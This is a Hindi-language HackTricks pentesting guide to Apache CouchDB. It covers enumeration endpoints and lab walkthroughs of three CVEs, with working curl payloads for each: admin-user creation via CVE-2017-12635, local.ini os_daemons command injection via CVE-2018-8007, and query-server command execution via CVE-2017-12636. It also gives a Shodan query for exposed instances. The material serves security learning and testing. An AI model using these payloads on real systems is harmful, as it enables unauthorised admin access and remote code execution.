5984,6984 - Pentesting CouchDB
Reading time: 15 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
बुनियादी जानकारी
CouchDB एक बहुपरकारी और शक्तिशाली दस्तावेज़-उन्मुख डेटाबेस है जो डेटा को प्रत्येक दस्तावेज़ के भीतर की-मान मानचित्र संरचना का उपयोग करके व्यवस्थित करता है। दस्तावेज़ के भीतर के फ़ील्ड को की/मान जोड़े, सूचियों, या मानचित्रों के रूप में प्रस्तुत किया जा सकता है, जो डेटा संग्रहण और पुनर्प्राप्ति में लचीलापन प्रदान करता है।
CouchDB में संग्रहीत प्रत्येक दस्तावेज़ को दस्तावेज़ स्तर पर एक विशिष्ट पहचानकर्ता (_id
) सौंपा जाता है। इसके अतिरिक्त, डेटाबेस में किए गए और सहेजे गए प्रत्येक संशोधन को एक संशोधन संख्या (_rev
) सौंपा जाता है। यह संशोधन संख्या परिवर्तनों के कुशल ट्रैकिंग और प्रबंधन की अनुमति देती है, जिससे डेटाबेस के भीतर डेटा की आसान पुनर्प्राप्ति और समन्वय की सुविधा मिलती है।
डिफ़ॉल्ट पोर्ट: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
स्वचालित गणना
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
मैनुअल एन्यूमरेशन
बैनर
curl http://IP:5984/
यह स्थापित CouchDB उदाहरण के लिए एक GET अनुरोध जारी करता है। उत्तर कुछ इस तरह दिखना चाहिए:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
note
ध्यान दें कि यदि आप couchdb की रूट तक पहुँचते हैं और आपको 401 Unauthorized
मिलता है जैसे: {"error":"unauthorized","reason":"Authentication required."}
तो आप बैनर या किसी अन्य एंडपॉइंट तक पहुँच नहीं पाएंगे।
Info Enumeration
ये वे एंडपॉइंट हैं जहाँ आप GET अनुरोध के साथ पहुँच सकते हैं और कुछ दिलचस्प जानकारी निकाल सकते हैं। आप couchdb दस्तावेज़ में और अधिक एंडपॉइंट और अधिक विस्तृत विवरण पा सकते हैं।
/_active_tasks
चल रहे कार्यों की सूची, जिसमें कार्य का प्रकार, नाम, स्थिति और प्रक्रिया ID शामिल है।/_all_dbs
CouchDB उदाहरण में सभी डेटाबेस की सूची लौटाता है।/_cluster_setup
क्लस्टर सेटअप विज़ार्ड के अनुसार नोड या क्लस्टर की स्थिति लौटाता है।/_db_updates
CouchDB उदाहरण में सभी डेटाबेस घटनाओं की सूची लौटाता है। इस एंडपॉइंट का उपयोग करने के लिए_global_changes
डेटाबेस का अस्तित्व आवश्यक है।/_membership
cluster_nodes
के रूप में क्लस्टर का हिस्सा होने वाले नोड्स को प्रदर्शित करता है। फ़ील्डall_nodes
उन सभी नोड्स को प्रदर्शित करता है जिनके बारे में इस नोड को पता है, जिसमें क्लस्टर का हिस्सा होने वाले नोड्स भी शामिल हैं।/_scheduler/jobs
पुनरुत्पादन कार्यों की सूची। प्रत्येक कार्य विवरण में स्रोत और लक्ष्य जानकारी, पुनरुत्पादन ID, हाल की घटनाओं का इतिहास, और कुछ अन्य चीजें शामिल होंगी।/_scheduler/docs
पुनरुत्पादन दस्तावेज़ राज्यों की सूची। इसमें सभी दस्तावेज़ों के बारे में जानकारी शामिल है, यहां तक किcompleted
औरfailed
राज्यों में भी। प्रत्येक दस्तावेज़ के लिए यह दस्तावेज़ ID, डेटाबेस, पुनरुत्पादन ID, स्रोत और लक्ष्य, और अन्य जानकारी लौटाता है।/_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
/_node/{node-name}
एंडपॉइंट का उपयोग उस सर्वर के Erlang नोड नाम की पुष्टि करने के लिए किया जा सकता है जो अनुरोध को संसाधित करता है। यह/_node/_local
तक पहुँचने पर इस जानकारी को प्राप्त करने के लिए सबसे उपयोगी है।/_node/{node-name}/_stats
_stats
संसाधन एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए सांख्यिकी होती है। शाब्दिक स्ट्रिंग_local
स्थानीय नोड नाम के लिए एक उपनाम के रूप में कार्य करती है, इसलिए सभी सांख्यिकी URL के लिए,{node-name}
को_local
के साथ प्रतिस्थापित किया जा सकता है, ताकि स्थानीय नोड की सांख्यिकी के साथ बातचीत की जा सके।/_node/{node-name}/_system
_systemresource एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए विभिन्न सिस्टम-स्तरीय सांख्यिकी होती है। आप वर्तमान नोड जानकारी प्राप्त करने के लिए {node-name} के रूप में ___local
का उपयोग कर सकते हैं।/_node/{node-name}/_restart
/_up
पुष्टि करता है कि सर्वर चालू है, चल रहा है, और अनुरोधों का उत्तर देने के लिए तैयार है। यदिmaintenance_mode
true
याnolb
है, तो एंडपॉइंट 404 प्रतिक्रिया लौटाएगा।/_uuids
CouchDB उदाहरण से एक या अधिक यूनिवर्सली यूनिक आइडेंटिफायर (UUIDs) का अनुरोध करता है।/_reshard
पूर्ण, विफल, चल रहे, रुके हुए, और कुल कार्यों की संख्या के साथ-साथ क्लस्टर पर पुनःशार्दन की स्थिति लौटाता है।
यहाँ समझाए गए अनुसार अधिक दिलचस्प जानकारी निकाली जा सकती है: https://lzone.de/cheat-sheet/CouchDB
Database List
curl -X GET http://IP:5984/_all_dbs
यदि वह अनुरोध 401 अनधिकृत के साथ प्रतिक्रिया करता है, तो आपको डेटाबेस तक पहुँचने के लिए कुछ मान्य क्रेडेंशियल्स की आवश्यकता है:
curl -X GET http://user:password@IP:5984/_all_dbs
सही Credentials खोजने के लिए आप कोशिश कर सकते हैं सेवा को ब्रूटफोर्स करें।
यह एक उदाहरण है एक couchdb प्रतिक्रिया का जब आपके पास पर्याप्त विशेषाधिकार होते हैं डेटाबेस की सूची बनाने के लिए (यह केवल डेटाबेस की एक सूची है):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Database Info
आप कुछ डेटाबेस जानकारी (जैसे फ़ाइलों की संख्या और आकार) डेटाबेस नाम तक पहुँचकर प्राप्त कर सकते हैं:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Document List
डेटाबेस के अंदर प्रत्येक प्रविष्टि की सूची बनाएं
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
दस्तावेज़ पढ़ें
एक डेटाबेस के अंदर एक दस्तावेज़ की सामग्री पढ़ें:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Privilege Escalation CVE-2017-12635
Erlang और JavaScript JSON पार्सर्स के बीच के अंतर के कारण आप निम्नलिखित अनुरोध के साथ एक एडमिन उपयोगकर्ता बना सकते हैं जिसमें क्रेडेंशियल्स hacktricks:hacktricks
हैं:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
इस vuln के बारे में अधिक जानकारी यहाँ.
CouchDB RCE
Erlang कुकी सुरक्षा अवलोकन
उदाहरण यहाँ से.
CouchDB दस्तावेज़ में, विशेष रूप से क्लस्टर सेट-अप के संबंध में अनुभाग में (link), क्लस्टर मोड में CouchDB द्वारा पोर्ट के उपयोग पर चर्चा की गई है। इसमें उल्लेख किया गया है कि, स्टैंडअलोन मोड की तरह, पोर्ट 5984
का उपयोग किया जाता है। इसके अतिरिक्त, पोर्ट 5986
नोड-स्थानीय APIs के लिए है, और महत्वपूर्ण रूप से, Erlang को Erlang पोर्ट मैपर डेमन (EPMD) के लिए TCP पोर्ट 4369
की आवश्यकता होती है, जो Erlang क्लस्टर के भीतर नोड संचार को सुविधाजनक बनाता है। यह सेटअप एक नेटवर्क बनाता है जहाँ प्रत्येक नोड हर अन्य नोड के साथ इंटरलिंक होता है।
पोर्ट 4369
के संबंध में एक महत्वपूर्ण सुरक्षा सलाह को उजागर किया गया है। यदि इस पोर्ट को इंटरनेट या किसी अविश्वसनीय नेटवर्क पर सुलभ बनाया जाता है, तो सिस्टम की सुरक्षा एक अद्वितीय पहचानकर्ता "कुकी" पर भारी रूप से निर्भर करती है। यह कुकी एक सुरक्षा उपाय के रूप में कार्य करती है। उदाहरण के लिए, एक दिए गए प्रक्रिया सूची में, "monster" नामक कुकी देखी जा सकती है, जो सिस्टम की सुरक्षा ढांचे में इसकी संचालन भूमिका को इंगित करती है।
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
उन लोगों के लिए जो यह समझने में रुचि रखते हैं कि इस "कुकी" का उपयोग कैसे किया जा सकता है Remote Code Execution (RCE) के लिए Erlang सिस्टम के संदर्भ में, आगे पढ़ने के लिए एक समर्पित अनुभाग उपलब्ध है। यह अनधिकृत तरीकों से Erlang कुकीज़ का लाभ उठाने की विधियों का विवरण देता है ताकि सिस्टम पर नियंत्रण प्राप्त किया जा सके। आप यहां RCE के लिए Erlang कुकीज़ का दुरुपयोग करने पर विस्तृत मार्गदर्शिका का अन्वेषण कर सकते हैं।
local.ini में संशोधन के माध्यम से CVE-2018-8007 का शोषण
उदाहरण यहां से।
हाल ही में प्रकट हुई एक भेद्यता, CVE-2018-8007, जो Apache CouchDB को प्रभावित करती है, का अन्वेषण किया गया, जिसमें यह पता चला कि शोषण के लिए local.ini
फ़ाइल पर लिखने की अनुमति की आवश्यकता होती है। हालांकि सुरक्षा प्रतिबंधों के कारण यह सीधे लक्षित प्रणाली पर लागू नहीं होता है, लेकिन अन्वेषण के उद्देश्यों के लिए local.ini
फ़ाइल पर लिखने की अनुमति देने के लिए संशोधन किए गए। नीचे प्रक्रिया को प्रदर्शित करने के लिए विस्तृत चरण और कोड उदाहरण प्रदान किए गए हैं।
पहले, वातावरण को इस बात की पुष्टि करके तैयार किया जाता है कि local.ini
फ़ाइल लिखने योग्य है, जिसे अनुमतियों की सूची बनाकर सत्यापित किया जाता है:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
इस कमजोरियों का लाभ उठाने के लिए, एक curl कमांड निष्पादित की जाती है, जो local.ini
में cors/origins
कॉन्फ़िगरेशन को लक्षित करती है। यह [os_daemons]
अनुभाग के तहत अतिरिक्त कमांड के साथ एक नया मूल जोड़ता है, जिसका उद्देश्य मनमाने कोड को निष्पादित करना है:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
पश्चात सत्यापन local.ini
में इंजेक्ट की गई कॉन्फ़िगरेशन को दिखाता है, जिसमें परिवर्तनों को उजागर करने के लिए एक बैकअप के साथ तुलना की गई है:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
शुरुआत में, अपेक्षित फ़ाइल (/tmp/0xdf
) मौजूद नहीं है, जो यह दर्शाता है कि इंजेक्ट किया गया कमांड अभी तक निष्पादित नहीं हुआ है। आगे की जांच से पता चलता है कि CouchDB से संबंधित प्रक्रियाएँ चल रही हैं, जिसमें एक ऐसा भी है जो संभावित रूप से इंजेक्ट किए गए कमांड को निष्पादित कर सकता है:
root@canape:/home/homer/bin# ps aux | grep couch
पहचाने गए CouchDB प्रक्रिया को समाप्त करके और सिस्टम को स्वचालित रूप से इसे पुनः प्रारंभ करने की अनुमति देकर, इंजेक्ट किए गए कमांड का निष्पादन ट्रिगर होता है, जिसे पहले गायब फ़ाइल की उपस्थिति से पुष्टि की जाती है:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
यह अन्वेषण विशेष परिस्थितियों के तहत CVE-2018-8007 शोषण की व्यवहार्यता की पुष्टि करता है, विशेष रूप से local.ini
फ़ाइल के लिए लिखने योग्य पहुंच की आवश्यकता। प्रदान किए गए कोड उदाहरण और प्रक्रियात्मक चरण नियंत्रित वातावरण में शोषण को दोहराने के लिए एक स्पष्ट मार्गदर्शिका प्रदान करते हैं।
CVE-2018-8007 के बारे में अधिक जानकारी के लिए, mdsec द्वारा सलाहकार की ओर देखें: CVE-2018-8007।
local.ini पर लिखने की अनुमति के साथ CVE-2017-12636 का अन्वेषण
उदाहरण यहां से।
CVE-2017-12636 के रूप में ज्ञात एक भेद्यता का अन्वेषण किया गया, जो CouchDB प्रक्रिया के माध्यम से कोड निष्पादन को सक्षम बनाता है, हालांकि विशिष्ट कॉन्फ़िगरेशन इसके शोषण को रोक सकते हैं। ऑनलाइन उपलब्ध कई प्रमाणित अवधारणाओं (POC) के संदर्भों के बावजूद, CouchDB संस्करण 2 पर भेद्यता का शोषण करने के लिए समायोजन आवश्यक हैं, जो सामान्यतः लक्षित संस्करण 1.x से भिन्न है। प्रारंभिक चरणों में CouchDB संस्करण की पुष्टि करना और अपेक्षित क्वेरी सर्वरों के पथ की अनुपस्थिति की पुष्टि करना शामिल है:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
CouchDB संस्करण 2.0 के लिए, एक नया पथ उपयोग किया जाता है:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
नए क्वेरी सर्वर को जोड़ने और उसे सक्रिय करने के प्रयासों को अनुमति से संबंधित त्रुटियों का सामना करना पड़ा, जैसा कि निम्नलिखित आउटपुट द्वारा संकेतित है:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
अधिक जांच से local.ini
फ़ाइल के साथ अनुमति समस्याएँ सामने आईं, जो लिखने योग्य नहीं थी। रूट या होमर एक्सेस के साथ फ़ाइल अनुमतियों को संशोधित करके, आगे बढ़ना संभव हो गया:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
अगले प्रयासों में क्वेरी सर्वर को जोड़ने में सफलता मिली, जैसा कि प्रतिक्रिया में त्रुटि संदेशों की कमी से स्पष्ट है। local.ini
फ़ाइल में सफल संशोधन की पुष्टि फ़ाइल तुलना के माध्यम से की गई:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
इस प्रक्रिया में एक डेटाबेस और एक दस्तावेज़ बनाने के साथ-साथ नए जोड़े गए क्वेरी सर्वर के लिए कस्टम व्यू मैपिंग के माध्यम से कोड निष्पादित करने का प्रयास किया गया:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
A सारांश जिसमें एक वैकल्पिक पेलोड है, विशेष परिस्थितियों के तहत CVE-2017-12636 का शोषण करने के लिए और जानकारी प्रदान करता है। इस कमजोरियों का शोषण करने के लिए उपयोगी संसाधन में शामिल हैं:
Shodan
port:5984 couchdb
संदर्भ
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।